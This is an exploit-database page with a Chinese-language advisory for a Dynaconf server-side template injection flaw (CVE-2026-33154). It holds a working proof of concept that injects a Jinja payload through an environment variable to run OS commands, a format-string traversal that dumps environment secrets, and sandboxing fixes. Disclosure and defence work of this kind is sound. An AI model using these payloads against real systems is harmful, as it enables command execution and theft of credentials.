Sploitus

Exploit for CVE-2026-33154

kitploit · 2026-09-02

Exploit Code

MARKDOWN127 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-REDYANK-CVE-2026-33154
# Dynaconf SSTI 漏洞报告

## 摘要

Dynaconf 由于 `__@Jinja__` 解析器中的不安全模板求值,存在**服务端模板注入(SSTI)**漏洞。当安装了`jinja2` 包时,Dynaconf 会在**无沙箱环境**下求值嵌入在配置值中的模板表达式。

如果攻击者能够影响配置源,例如:

  * 环境变量
  * `.env` 文件
  * 容器环境配置
  * CI/CD 密钥



...他们就可以在主机系统上**执行任意操作系统命令** 。此外,`__@Format__` 解析器允许对象图遍历,这可能会暴露敏感的运行时对象和环境变量。

* * *

## 详细信息

该漏洞的产生是因为 Dynaconf 的字符串解析器缺乏适当的安全边界。

### 1\. `__@Jinja__` 解析器

`__@Jinja__` 解析器使用完整的 Jinja2 求值来渲染模板。然而,渲染上下文**未经过沙箱化** ,这允许攻击者访问 Python 的内部属性。通过使用 `cycler` 等对象,攻击者可以访问 Python 的全局变量并导入 `os` 模块。

**示例攻击路径:**

root@kitploit:~
    
    
    cycler → __init__ → __globals__ → os → popen()
    

这将导致**任意命令执行** 。

* * *

### 2\. `__@Format__` 解析器

`__@Format__` 解析器使用内部对象执行 Python 字符串格式化。这允许攻击者遍历 Python 的对象图并访问敏感的运行时对象。

**示例遍历:**

root@kitploit:~
    
    
    {this.__class__.__init__.__globals__[os].environ}
    

这可能会暴露:

  * API 密钥
  * 数据库凭据
  * 内部服务令牌
  * 环境密钥



* * *

## 概念验证(PoC)

root@kitploit:~
    
    
    import os
    from dynaconf import Dynaconf
    
    # 恶意配置注入
    os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
    
    settings = Dynaconf()
    
    print("[!] 命令执行结果:")
    print(settings.RCE)
    

* * *

## 影响

成功利用该漏洞可允许攻击者:

  * 在主机系统上执行任意操作系统命令
  * 访问敏感的环境变量
  * 泄露应用程序密钥
  * 完全控制正在运行的应用程序进程



由于配置值可能来自 CI/CD 流水线、容器编排系统或环境注入,该漏洞在真实部署中可能成为**可远程利用** 的漏洞。

* * *

## 修复 / 缓解措施

### 1\. 使用 Jinja2 沙箱进行模板渲染

root@kitploit:~
    
    
    from jinja2.sandbox import SandboxedEnvironment
    
    env = SandboxedEnvironment()
    template = env.from_string("{{ config_value }}")
    safe_value = template.render(config_value=user_input)
    

### 2\. 将 `__@Format__` 的使用限制为可信值

root@kitploit:~
    
    
    safe_value = "{name}".format(name=trusted_name)
    

* * *

## 参考

  * GHSA-pxrr-hq57-q35p
  * CVE-2026-33154 — NVD
  * dynaconf/dynaconf@2fbb45e
  * Dynaconf 3.2.13 版本发布